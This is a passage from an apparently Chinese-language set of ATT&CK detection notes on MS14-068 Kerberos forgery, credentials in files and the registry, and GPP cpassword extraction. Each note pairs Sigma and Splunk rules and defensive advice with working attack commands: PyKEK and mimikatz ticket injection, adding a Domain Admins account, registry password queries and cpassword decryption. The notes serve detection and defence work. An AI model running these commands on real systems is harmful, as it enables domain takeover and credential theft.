Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"ServiceName\">krbtgt/LAB.LOCAL</Data>\n      <Data Name=\"TicketOptions\">0x40810010</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2008 R2（未打补丁KB3011780）\n- 域内主机：Windows 7 SP1\n- 工具：PyKEK、Mimikatz\n- 域用户：`darthsidious@lab.local`，密码`TheEmperor99!`，SID`S-1-5-21-1473643419-774954089-2222329127-1110`\n- 域控制器：`dc.lab.local`\n\n### 复现步骤\n1. **检查权限**：\n   ```cmd\n   whoami /user\n   dir \\\\dc.lab.local\\C$\n   ```\n2. **生成伪造票据**：\n   ```cmd\n   python ms14-068.py -u darthsidious@lab.local -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d dc.lab.local\n   ```\n   - 输出示例：\n     ```\n     [+] Building AS-REQ for dc.lab.local... Done!\n     [+] Sending AS-REQ to dc.lab.local... Done!\n     [+] Receiving AS-REP from dc.lab.local... Done!\n     [+] Parsing AS-REP from dc.lab.local... Done!\n     [+] Building TGS-REQ for dc.lab.local... Done!\n     [+] Sending TGS-REQ to dc.lab.local... Done!\n     [+] Receiving TGS-REP from dc.lab.local... Done!\n     [+] Creating ccache file 'TGT_darthsidious@lab.local.ccache'... Done!\n     ```\n3. **注入票据**：\n   ```cmd\n   mimikatz.exe \"kerberos::purge\" \"kerberos::list\" \"kerberos::ptc TGT_darthsidious@lab.local.ccache\" exit\n   ```\n4. **验证权限提升**：\n   ```cmd\n   dir \\\\dc.lab.local\\C$\n   net user newadmin P@ssw0rd123 /add /domain\n   net group \"Domain Admins\" newadmin /add /domain\n   ```\n\n## 测试留痕\n\n### Windows安全日志（域控制器）\n- **事件ID4624**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">darthsidious</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"LogonType\">3</Data>\n      <Data Name=\"AuthenticationPackageName\">Kerberos</Data>\n      <Data Name=\"WorkstationName\">WIN7-CLIENT</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4672**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">darthsidious</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"AssignedPrivileges\">SeDebugPrivilege,SeTcbPrivilege</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4769**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">darthsidious</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"ServiceName\">krbtgt/LAB.LOCAL</Data>\n      <Data Name=\"TicketOptions\">0x40810010</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Python27\\python.exe</Data>\n      <Data Name=\"CommandLine\">python.exe ms14-068.py -u darthsidious@lab.local -s S-1-5-21-1473643419-774954089-2222329127-1110 -d dc.lab.local</Data>\n      <Data Name=\"User\">LAB\\darthsidious</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID3**（网络连接）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Python27\\python.exe</Data>\n      <Data Name=\"DestinationIp\">192.168.1.10</Data>\n      <Data Name=\"DestinationPort\">88</Data>\n    </EventData>\n  </Event>\n  ```\n\n### 网络流量（WireShark）\n- AS-REQ：`include-pac:False`（正常请求包含PAC）。\n- TGS-REQ：伪造PAC，使用MD5校验（非标准HMAC_MD5或AES）。[](https://labs.withsecure.com/publications/digging-into-ms14-068-exploitation-and-defence)\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - 监控事件ID4624、4672、4768、4769，检查`TargetDomainName`或`SuppliedRealmName`是否包含异常格式（如带`.`）。\n   - 检测事件ID4672中非管理员用户的异常高权限（如SeDebugPrivilege）。\n2. **网络监控**：\n   - 捕获Kerberos流量（端口88），检测AS-REQ中`include-pac:False`或TGS-REQ中MD5校验。\n   - 示例Snort规则：\n     ```snort\n     alert udp any any -> any 88 (msg:\"MS14-068 PyKEK Exploit Attempt\"; content:\"include-pac:False\"; sid:1000001;)\n     ```\n3. **行为分析**：\n   - 检测低权限用户访问域控制器C$共享或创建域管理员账户。\n   - 监控`mimikatz.exe`或`python.exe`执行异常命令。\n4. **补丁状态**：\n   - 使用PowerShell检查补丁：\n     ```powershell\n     Get-HotFix -ID KB3011780\n     ```\n\n### Sigma规则\n```yaml\ntitle: MS14-068 PyKEK Kerberos Exploitation Attempt\nid: 7a8b9c2d-5e6f-4f3a-9b8c-2e3f4a5b6c7d\nstatus:stable\ndescription:Detects potential MS14-068 exploitation attempts using PyKEK to forge Kerberos tickets\nreferences:\n  - https://attack.mitre.org/techniques/T1212/\n  - https://adsecurity.org/?p=556\ntags:\n  - attack.privilege_escalation\n  - attack.t1212\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_4624:\n    EventID: 4624\n    LogonType: 3\n    AuthenticationPackageName: Kerberos\n    TargetDomainName|contains: '.'\n  selection_4672:\n    EventID: 4672\n    TargetDomainName|contains: '.'\n    AssignedPrivileges|contains:\n      - SeDebugPrivilege\n      - SeTcbPrivilege\n  selection_4768:\n    EventID: 4768\n    SuppliedRealmName|contains: '.'\n  selection_4769:\n    EventID: 4769\n    ServiceName|contains: 'krbtgt'\n    TargetDomainName|contains: '.'\n  timeframe: 5s\n  condition: selection_4624 and selection_4672 and (selection_4768 or selection_4769)\nfields:\n  - EventID\n  - TargetUserName\n  - TargetDomainName\n  - LogonType\n  - AuthenticationPackageName\n  - AssignedPrivileges\n  - SuppliedRealmName\n  - ServiceName\nfalsepositives:\n  - Complex domain names in legitimate Kerberos authentication\n  - Administrative tools accessing domain resources\nlevel: high\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4624 LogonType=3 AuthenticationPackageName=Kerberos TargetDomainName=\"*.-*\" \nOR EventCode=4672 TargetDomainName=\"*. -*\" AssignedPrivileges IN (\"*SeDebugPrivilege*\",\"*SeTcbPrivilege*\")\nOR EventCode=4768 SuppliedRealmName=\"*. -*\"\nOR EventCode=4769 ServiceName=\"*krbtgt*\" TargetDomainName=\"*. -*\")\n| transaction TargetUserName maxspan=5s\n| fields EventCode,TargetUserName,TargetDomainName,LogonType,AuthenticationPackageName,AssignedPrivileges,SuppliedRealmName,ServiceName\n```\n\n规则说明：\n- 检测异常Kerberos票据请求，结合高权限分配。\n- 减少误报：使用5秒时间窗口关联事件。\n\n## 防御建议\n1. **补丁管理**：\n   - 立即为域控制器安装KB3011780补丁，优先Windows Server 2008/2008 R2。[](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068)\n   - 使用PowerShell脚本（如Get-DCPatchStatus）定期检查补丁状态。[](https://adsecurity.org/?p=676)\n2. **日志配置**：\n   - 启用事件ID4768/4769审计，建议仅记录失败事件以减少日志量。[](https://adsecurity.org/?p=541)\n   - 部署Sysmon，监控`python.exe`、`mimikatz.exe`和Kerberos网络连接。\n3. **权限控制**：\n   - 最小化域用户权限，限制对域控制器共享（如C$）的访问。\n   - 使用组策略禁用非必要用户对域控制器的网络登录。\n4. **网络防护**：\n   - 部署IDS/IPS，检测`include-pac:False`或MD5校验的Kerberos流量。\n   - 限制Kerberos端口（88）访问，仅允许必要设备通信。\n5. **主动防御**：\n   - 部署诱捕账户，监控异常高权限登录。\n   - 使用EDR工具检测票据注入或异常进程行为。\n6. **时间同步**：\n   - 确保所有系统与域控制器时间同步，防止票据伪造。\n\n## 参考推荐\n- MITRE ATT&CK T1212:  \n  <https://attack.mitre.org/techniques/T1212/>\n- Active Directory Security: MS14-068 Exploit with PyKEK:  \n  <https://adsecurity.org/?p=556>\n- Microsoft Security Bulletin MS14-068:  \n  <https://support.microsoft.com/kb/3011780>\n- PyKEK GitHub Repository:  \n  <https://github.com/bidord/pykek>\n- 内网渗透之PTH&PTT&PTK:  \n  <https://www.bbsmax.com/A/A7zgkjRPz4/>\n- Detecting MS14-068 Kerberos Exploit Packets:  \n  <https://adsecurity.org/?p=676>"
  },
  {
    "path": "Windows/08凭证访问/T1552.001-Win-文件中的凭证.md",
    "content": "# T1552.001-Win-文件中的凭证\n\n## 描述\n\n攻击者可能在本地文件系统或远程文件共享中搜索包含密码的文件。这些文件可能包括用户创建的凭证存储文件、共享凭证文件、包含系统或服务密码的配置文件，或嵌入密码的源代码/二进制文件。此外，攻击者可能从备份、保存的虚拟机或Windows域控制器上的组策略首选项（GroupPolicyPreferences）中提取凭证。\n\n## 测试案例\n\n`findstr`是Windows系统自带的命令行工具，用于在指定文件中查找包含特定字符串的行，并输出匹配行或文件名。其功能类似于Linux的`grep`命令。攻击者可能利用`findstr`搜索包含“password”或其他敏感关键词的文件，以获取凭证信息。\n\n**测试环境**：\n- 系统：Windows10或WindowsServer2012+\n- 工具：`findstr`（系统自带）\n- 测试文件：`test.txt`，内容包含“password”关键词\n- 日志配置：启用Windows安全日志（事件ID4688，需启用命令行审核策略）\n\n**测试步骤**：\n1. 创建测试文件`test.txt`，内容如下：\n   ```\n   username:admin\n   password:P@ssw0rd123\n   ```\n2. 打开命令提示符（cmd），执行以下命令：\n   ```\n   findstr/ni/c:\"password\"test.txt\n   ```\n3. 验证输出结果：\n   ```\n   password:P@ssw0rd123\n   ```\n4. 检查Windows安全日志，确认事件ID4688记录。\n\n**测试命令说明**：\n- `/n`：显示匹配行的行号\n- `/i`：忽略大小写\n- `/c:\"password\"`：查找包含“password”的行\n\n## 检测日志\n\n**数据来源**：\n- **Windows安全日志**：事件ID4688（进程创建），需启用“审核进程创建”策略，并在WindowsServer2012+或Windows10+上启用命令行参数记录（组策略：计算机配置>管理模板>系统>审核进程创建>包括命令行参数）。\n- **Sysmon日志**（可选）：事件ID1（进程创建），可提供更详细的命令行和父进程信息。\n\n**日志字段**：\n- 事件ID：4688\n- 进程名称：`findstr.exe`\n- 命令行参数：包含`findstr`和`password`\n- 创建者账户：执行命令的用户账户\n- 父进程：通常为`cmd.exe`或`powershell.exe`\n\n## 测试复现\n\n**复现命令**：\n```cmd\nC:\\Users\\Administrator>findstr/ni/c:\"password\"test.txt\n```\n\n**复现结果**：\n```\npassword:P@ssw0rd123\n```\n\n## 测试留痕\n\n**Windows安全日志（事件ID4688）**：\n```xml\n已创建新进程。\n\n创建者主题:\n  安全ID:QAX\\Administrator\n  帐户名:Administrator\n  帐户域:QAX\n  登录ID:0x7169C\n\n目标主题:\n  安全ID:NULLSID\n  帐户名:-\n  帐户域:-\n  登录ID:0x0\n\n进程信息:\n  新进程ID:0xc14\n  新进程名称:C:\\Windows\\System32\\findstr.exe\n  令牌提升类型:TokenElevationTypeDefault(1)\n  强制性标签:MandatoryLabel\\HighMandatoryLevel\n  创建者进程ID:0x304\n  创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  进程命令行:findstr/ni/c:\"password\"test.txt\n```\n\n**Sysmon日志（事件ID1，可选）**：\n```xml\n<Event>\n  <EventData>\n    <DataName=\"UtcTime\">2025-06-1720:16:00.123</Data>\n    <DataName=\"ProcessGuid\">{...}</Data>\n    <DataName=\"ProcessId\">3092</Data>\n    <DataName=\"Image\">C:\\Windows\\System32\\findstr.exe</Data>\n    <DataName=\"CommandLine\">findstr/ni/c:\"password\"test.txt</Data>\n    <DataName=\"CurrentDirectory\">C:\\Users\\Administrator</Data>\n    <DataName=\"User\">QAX\\Administrator</Data>\n    <DataName=\"ParentImage\">C:\\Windows\\System32\\cmd.exe</Data>\n    <DataName=\"ParentCommandLine\">cmd.exe</Data>\n  </EventData>\n</Event>\n```\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Windows下利用findstr命令查找用户凭证\nid: 8f7b1a2c-4e5d-4f3a-9b8c-1d2e3f4a5b6c\nstatus: stable\ndescription: 检测攻击者使用findstr命令搜索包含password或其他敏感关键词的文件，可能是凭证窃取行为\nreferences:\n  - https://attack.mitre.org/techniques/T1552/001/\n  - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/findstr\ntags:\n  - attack.credential_access\n  - attack.t1552.001\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    EventID: 4688\n    Image|endswith: '\\findstr.exe'\n    CommandLine|contains:\n      - 'password'\n      - 'pwd'\n      - 'login'\n      - 'credential'\n      - 'secure'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'setup'\n      - 'install'\n      - 'config'\n  condition: selectionandnotfilter_legitimate\nfields:\n  - EventID\n  - CommandLine\n  - Image\n  - User\n  - ParentImage\nfalsepositives:\n  - 管理员或脚本执行的合法文件搜索操作\n  - 软件安装或配置过程中包含敏感关键词的命令\nlevel: medium\n```\n\n### 检测思路\n\n1. **命令行参数监控**：\n   - 监控进程创建事件（事件ID4688或Sysmon事件ID1），聚焦`findstr.exe`的命令行参数。\n   - 检测包含敏感关键词（如`password`、`pwd`）的命令行，结合上下文（如父进程为`cmd.exe`或`powershell.exe`）判断可疑行为。\n\n2. **文件访问监控**：\n   - 使用文件监控工具（如Sysmon事件ID11）检测对敏感文件（如`.txt`、`.ini`、`.config`）的访问，尤其是结合`findstr`执行的时间窗口。\n   - 关注共享文件夹或域控制器上的组策略文件访问。\n\n3. **异常行为分析**：\n   - 检测非典型用户（如非管理员账户）执行`findstr`搜索敏感关键词的行为。\n   - 分析同一主机上多次执行类似命令的模式，可能是攻击者批量搜索凭证。\n\n## 防御建议\n\n1. **限制敏感信息存储**：\n   - 禁止在明文文件中存储密码或凭证，推荐使用密码管理器或加密存储。\n   - 对配置文件中的密码进行加密，或使用WindowsCredentialManager存储敏感信息。\n\n2. **强化日志审核**：\n   - 启用命令行参数记录（组策略：审核进程创建>包括命令行参数）。\n   - 部署Sysmon，配置进程创建和文件访问监控规则，增强检测能力。\n   - 定期分析安全日志，关注异常进程或命令行模式。\n\n3. **访问控制**：\n   - 限制对共享文件夹、备份文件和组策略文件的访问权限，仅授权必要用户。\n   - 对域控制器上的组策略首选项（GPP）文件进行加密或移除明文凭证。\n\n4. **安全意识培训**：\n   - 培训用户避免在文件中存储明文密码，定期检查系统是否存在遗留的敏感文件。\n   - 培训管理员识别可疑命令行操作，如`findstr`搜索敏感关键词。\n\n5. **主动防御**：\n   - 部署诱捕文件（HoneyFiles），在系统中放置伪装的包含“password”关键词的文件，触发告警。\n   - 使用EDR工具监控`findstr.exe`的异常使用，结合行为分析检测凭证窃取。\n\n## 参考推荐\n\n- MITREATT&CK:CredentialsfromPasswordStores:CredentialsinFiles(T1552.001)  \n  <https://attack.mitre.org/techniques/T1552/001/>\n- Microsoft:findstr命令参考  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/findstr>\n- Sysmon配置指南  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1552.002-Win-注册表中的凭证.md",
    "content": "# T1552.002-Win-注册表中的凭证\n\n## 描述\n\n攻击者可能通过查询Windows注册表，提取存储在其中的凭据或密码。Windows注册表存储系统和应用程序的配置信息，包括某些服务或程序（如自动登录、SNMP、远程桌面）的凭据。这些凭据可能以明文、加密或哈希形式存在，攻击者可通过注册表查询工具（如`reg.exe`）访问，用于横向移动、特权提升或持久化。此攻击通常无需提权，普通用户权限即可执行，隐蔽性较高。\n\n## 测试案例\n\n### 测试案例1：查询自动登录凭据\n检查Windows自动登录配置，提取用户名和密码。\n\n**命令**：\n```cmd\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword\n```\n\n- **说明**：\n  - 查询`Winlogon`键中的`DefaultUserName`和`DefaultPassword`，可能包含明文凭据。\n- **权限**：普通用户权限（部分键可能需管理员权限）。\n- **支持系统**：Windows7、WindowsServer2008及以上。\n\n### 测试案例2：搜索SNMP凭据\n查询SNMP服务配置，提取社区字符串（可能用作凭据）。\n\n**命令**：\n```cmd\nreg query \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities\"\n```\n\n- **说明**：\n  - SNMP社区字符串可能被用作弱凭据，供攻击者访问网络设备。\n- **权限**：普通用户权限。\n\n### 测试案例3：全局搜索密码相关注册表项\n递归查询注册表，查找包含“password”的字符串值。\n\n**命令**：\n```cmd\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n```\n\n- **说明**：\n  - 搜索`HKLM`和`HKCU`中的字符串值，定位潜在凭据。\n- **权限**：普通用户权限。\n\n### 测试案例4：查询远程桌面凭据\n检查RDP保存的连接凭据。\n\n**命令**：\n```cmd\nreg query \"HKCU\\Software\\Microsoft\\Terminal Server Client\\Servers\"\n```\n\n- **说明**：\n  - 包含RDP连接的主机名和用户名，可能关联凭据。\n- **权限**：普通用户权限。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`reg.exe`或`powershell.exe`的执行。\n- Sysmon日志：\n  - 事件ID1：进程创建，记录命令行参数和父进程。\n  - 事件ID13：注册表访问，记录对敏感键（如`Winlogon`、`SNMP`）的查询。\n- 注册表监控：\n  - 检测对凭据相关键（如`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon`）的异常访问。\n- 文件监控：\n  - 检测导出的注册表文件（如`.reg`）。\n\n## 测试复现\n\n### 环境准备\n- 靶机：WindowsServer2012或Windows10\n- 账户：普通用户账户（如TEST\\user1）\n- 工具：\n  - Sysmon（可选，日志收集）\n  - 文本编辑器（记录输出）\n\n### 攻击分析\n\n#### 测试1：查询自动登录凭据\n1. **登录靶机**：\n   使用普通用户账户登录。\n\n2. **查询注册表**：\n   ```cmd\n   reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword\n   ```\n   - 示例输出：\n     ```\n     DefaultPassword    REG_SZ    Password123\n     ```\n\n3. **导出结果**：\n   ```cmd\n   reg export \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" C:\\Temp\\winlogon.reg\n   ```\n\n4. **结果分析**：\n   - 成功：获取自动登录的明文密码。\n   - 失败可能：\n     - 未配置自动登录。\n     - 权限不足。\n\n#### 测试2：搜索SNMP凭据\n1. **查询SNMP配置**：\n   ```cmd\n   reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities\"\n   ```\n   - 示例输出：\n     ```\n     public    REG_DWORD    0x4\n     ```\n\n2. **记录结果**：\n   ```cmd\n   reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP\" > C:\\Temp\\snmp.txt\n   ```\n\n3. **结果分析**：\n   - 成功：获取SNMP社区字符串。\n   - 失败可能：未安装SNMP服务。\n\n#### 测试3：全局搜索密码\n1. **执行搜索**：\n   ```cmd\n   reg query HKCU /f password /t REG_SZ /s\n   ```\n\n2. **保存结果**：\n   ```cmd\n   reg query HKCU /f password /t REG_SZ /s > C:\\Temp\\passwords.txt\n   ```\n\n3. **结果分析**：\n   - 成功：定位包含密码的注册表项。\n   - 失败可能：无相关凭据或查询受限。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  已创建新进程。\n\n  创建者主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n    登录ID: 0x7169C\n\n  进程信息:\n    新进程ID: 0xd3c\n    新进程名称: C:\\Windows\\System32\\reg.exe\n    令牌提升类型: %%1936\n    强制性标签: Mandatory Label\\Medium Mandatory Level\n    创建者进程ID: 0x15d0\n    创建者进程名称: C:\\Windows\\System32\\cmd.exe\n    进程命令行: reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:reg.exe\n  CommandLine:reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID13：\n  ```\n  事件ID:13\n  Image:C:\\Windows\\System32\\reg.exe\n  TargetObject:HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DefaultPassword\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`reg.exe`或`powershell.exe`查询敏感注册表键。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     reg\\.exe.*query.*(Winlogon|SNMP|password|Terminal Server Client)\n     ```\n3. 注册表监控：\n   - 检测对`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon`、`HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP`等的访问。\n4. 文件监控：\n   - 检测导出的`.reg`文件或非预期路径下的注册表导出。\n5. 行为分析：\n   - 检测频繁的注册表查询或异常用户上下文。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: 注册表凭据枚举\nid: b1c2d3e4-f5a6-b7c8-d9e0-f1a2b3c4d5e7\ndescription: 检测使用reg.exe查询敏感注册表键的行为\nstatus: experimental\nreferences:\n  - https://attack.mitre.org/techniques/T1552/002/\ntags:\n  - attack.credential_access\n  - attack.t1552.002\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\reg.exe'\n    CommandLine|contains:\n      - 'Winlogon'\n      - 'SNMP'\n      - '/f password'\n      - 'Terminal Server Client'\n  filter_legitimate:\n    ParentImage|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition: selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的管理员操作\nlevel: medium\n```\n\n规则说明：\n- 目标：检测`reg.exe`查询敏感注册表键的行为。\n- 过滤：排除合法程序路径的调用。\n- 日志来源：Sysmon事件ID1。\n- 误报处理：管理员维护操作可能触发，需结合用户上下文分析。\n- 级别：标记为“中”优先级，因需进一步确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"Microsoft-Windows-Sysmon/Operational\"\nEventCode=1 Image=\"*\\reg.exe\" CommandLine IN (\"*Winlogon*\",\"*SNMP*\",\"*/f password*\",\"*Terminal Server Client*\")\nNOT ParentImage IN (\"*Program Files*\")\n| fields Image,CommandLine,ParentImage,User\n```\n\n规则说明：\n- 检测`reg.exe`查询敏感键，排除合法路径。\n- 减少误报：结合父进程和用户上下文分析。\n\n### 检测挑战\n- 误报：管理员或脚本的合法注册表查询可能触发，需建立基线。\n- 日志依赖：需启用命令行审计和Sysmon注册表监控。\n- 隐蔽性：`reg.exe`为系统工具，难以区分合法与恶意使用。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对敏感注册表键的监控。\n2. 凭据管理：\n   - 禁用自动登录功能，移除`Winlogon`中的`DefaultPassword`。\n   - 使用强加密存储凭据，避免明文保存。\n3. 注册表保护：\n   - 限制普通用户对敏感注册表键的查询权限。\n   - 使用注册表完整性监控工具检测篡改。\n4. 安全配置：\n   - 禁用不必要的SNMP服务，或使用强社区字符串。\n   - 清理RDP保存的连接凭据。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1552.002:  \n  <https://attack.mitre.org/techniques/T1552/002/>\n- T1214模拟测试:  \n  <https://ired.team/offensive-security/credential-access-and-credential-dumping/t1214-credentials-in-registry>\n- 本地凭据关注点:  \n  <http://www.rinige.com/index.php/archives/770/>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1552.006-Win-GPP-凭证转储.md",
    "content": "# T1552.006-Win-基于GPP凭证获取\n\n## 描述\n\n攻击者可能通过访问域控制器SYSVOL共享中的组策略首选项（GPP）XML文件，获取不安全的凭据。GPP允许管理员使用嵌入式凭据创建域策略，例如设置本地账户、映射驱动器或配置服务。这些凭据存储在SYSVOL的XML文件中（如`Groups.xml`、`Services.xml`），以AES加密，但由于Microsoft公开的AES密钥，任何域用户可解密`cpassword`字段，获取明文密码。\n\nSYSVOL是域内全域共享的目录（`\\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`），所有经过身份验证的域用户具有读权限。攻击者可通过枚举XML文件，提取并解密凭据，用于特权提升、横向移动或持久化。此攻击无需提权，隐蔽性高。\n\n## 测试案例\n\n### 测试案例1：使用findstr枚举SYSVOL中的XML文件\n通过命令行搜索SYSVOL共享中的XML文件，查找包含`cpassword`的凭据。\n\n**命令**：\n```cmd\nfindstr /S /I cpassword \\\\test.com\\sysvol\\test.com\\policies\\*.xml\n```\n\n- **示例输出**：\n  ```\n  \\\\test.com\\sysvol\\test.com\\policies\\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\\Machine\\Preferences\\Groups\\Groups.xml:<Properties action=\"C\" userName=\"tester\" cpassword=\"WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E\" ... />\n  ```\n\n- **说明**：\n  - 搜索`cpassword`字段，定位包含凭据的XML文件。\n- **权限**：域用户权限。\n- **支持系统**：WindowsServer2003及以上（ActiveDirectory环境）。\n\n### 测试案例2：使用Get-GPPPassword提取凭据\n通过PowerSploit的`Get-GPPPassword`脚本自动化提取并解密GPP密码。\n\n**命令**：\n```powershell\nImport-Module Get-GPPPassword.ps1\nGet-GPPPassword\n```\n\n- **示例输出**：\n  ```\n  Username: tester\n  Password: Password123\n  Changed: 2019-05-20 06:34:56\n  File: \\\\test.com\\sysvol\\test.com\\policies\\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\\Machine\\Preferences\\Groups\\Groups.xml\n  ```\n\n- **说明**：\n  - 自动扫描SYSVOL，解密`cpassword`字段。\n- **权限**：域用户权限。\n\n### 测试案例3：使用gpprefdecrypt.py解密凭据\n在Linux环境中使用Python脚本解密提取的`cpassword`。\n\n**命令**：\n```bash\npython3 gpprefdecrypt.py \"WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E\"\n```\n\n- **示例输出**：\n  ```\n  Password: Password123\n  ```\n\n- **说明**：\n  - 使用公开的AES密钥解密`cpassword`。\n- **权限**：无需权限（离线解密）。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`findstr.exe`或PowerShell的执行。\n  - 事件ID4624：账户登录，记录域用户访问SYSVOL的网络登录。\n  - 事件ID4672：特权分配，记录用户权限。\n  - 事件ID5140：网络共享访问，记录SYSVOL共享访问。\n  - 事件ID5145：共享对象访问检查，记录对SYSVOL文件的读取。\n  - 事件ID5156：网络连接，记录SMB连接到SYSVOL。\n- Sysmon日志：\n  - 事件ID1：进程创建，记录命令行参数。\n  - 事件ID11：文件访问，记录对SYSVOL中XML文件的读取。\n  - 事件ID3：网络连接，记录到域控制器的SMB流量。\n- 文件监控：\n  - 检测对SYSVOL中XML文件的异常访问。\n- 网络监控：\n  - 检测频繁的SMB流量（端口445）到SYSVOL共享。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：Windows10或KaliLinux2019\n- 靶机：WindowsServer2012（域控制器，配置GPP）\n- 账户：域用户账户（如TEST\\user1）\n- 工具：\n  - PowerSploit（Get-GPPPassword）\n  - gpprefdecrypt.py\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：使用findstr枚举凭据\n1. **登录靶机**：\n   使用域用户账户登录：\n   ```cmd\n   net use \\\\dc1.test.com\\IPC$ /user:TEST\\user1 Password123\n   ```\n\n2. **搜索SYSVOL**：\n   ```cmd\n   findstr /S /I cpassword \\\\test.com\\sysvol\\test.com\\policies\\*.xml\n   ```\n   - 输出包含`cpassword`的XML文件路径和内容。\n\n3. **提取cpassword**：\n   记录`cpassword`值（如`WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E`）。\n\n4. **解密密码**：\n   使用gpprefdecrypt.py：\n   ```bash\n   python3 gpprefdecrypt.py \"WzC8r0KH+edYsh0heQvAVwcNxtSvX1efu9MU+z5e37E\"\n   ```\n   - 输出：`Password123`\n\n5. **结果分析**：\n   - 成功：获取本地管理员或服务账户的明文密码。\n   - 失败可能：\n     - 无GPP配置。\n     - SYSVOL访问受限。\n     - XML文件不包含`cpassword`。\n\n#### 测试2：使用Get-GPPPassword提取凭据\n1. **导入脚本**：\n   ```powershell\n   Import-Module .\\Get-GPPPassword.ps1\n   ```\n\n2. **执行提取**：\n   ```powershell\n   Get-GPPPassword\n   ```\n\n3. **结果分析**：\n   - 成功：自动输出用户名和明文密码。\n   - 失败可能：PowerShell执行策略限制或无GPP凭据。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  已创建新进程。\n\n  创建者主题:\n    安全ID: TEST\\user1\n    帐户名: user1\n    帐户域: TEST\n    登录ID: 0x7169C\n\n  进程信息:\n    新进程ID: 0xd3c\n    新进程名称: C:\\Windows\\System32\\findstr.exe\n    令牌提升类型: %%1936\n    强制性标签: Mandatory 